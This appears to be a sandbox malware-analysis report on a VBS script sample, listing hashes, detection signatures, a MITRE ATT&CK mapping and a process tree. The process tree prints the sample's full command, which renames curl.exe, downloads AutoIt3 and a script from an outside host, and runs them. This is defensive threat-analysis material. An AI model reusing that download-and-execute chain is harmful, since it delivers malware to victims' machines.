fdacf9f2b956237d9bcc538bc99b3ccaeb0e58eafbec7356ac6bf583b66ab053

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
06/10/2023, 13:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
6a7c258b33be34d613ad96e19665ce25bee7eefcf55204640682d6cc.vbs
Size 57KB
Sample231006-qsdnesca4v
SHA256 fdacf9f2b956237d9bcc538bc99b3ccaeb0e58eafbec7356ac6bf583b66ab053
MD5 e1d853d3bd749fca48567649bda1080d
SHA1 32dfb32e90f46aa61738b87fab7fb5f397f890be
SHA512 30331355041bf04e7677c6853db55651d92c8b599b94f571ec1ca733448ddb161669a7976ed338fabb5e98c395bb1c32d94b74e157331d265bd13c68b8299f02
SSDEEP 768:aDEWCq8pkl3Ys82xvIzNuaBA5CB4rE4dQ6+eTa1Ckj11aB6p+MM:aRqWC4aAwEaT8knj11zlM
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
3	2316	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Script User-Agent 1 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	3	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2668	2316	WScript.exe	27
PID 2316 wrote to memory of 2668	2316	WScript.exe	27
PID 2316 wrote to memory of 2668	2316	WScript.exe	27

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\6a7c258b33be34d613ad96e19665ce25bee7eefcf55204640682d6cc.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c mkdir c:\glsm & cd /d c:\glsm & copy c:\windows\system32\curl.exe glsm.exe & glsm -H "User-Agent: curl" -o Autoit3.exe http://onlinesalesjerek.com:2351 & glsm -o lahkne.au3 http://onlinesalesjerek.com:2351/msiglsmujml & Autoit3.exe lahkne.au3
  2⤵
  PID:2668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads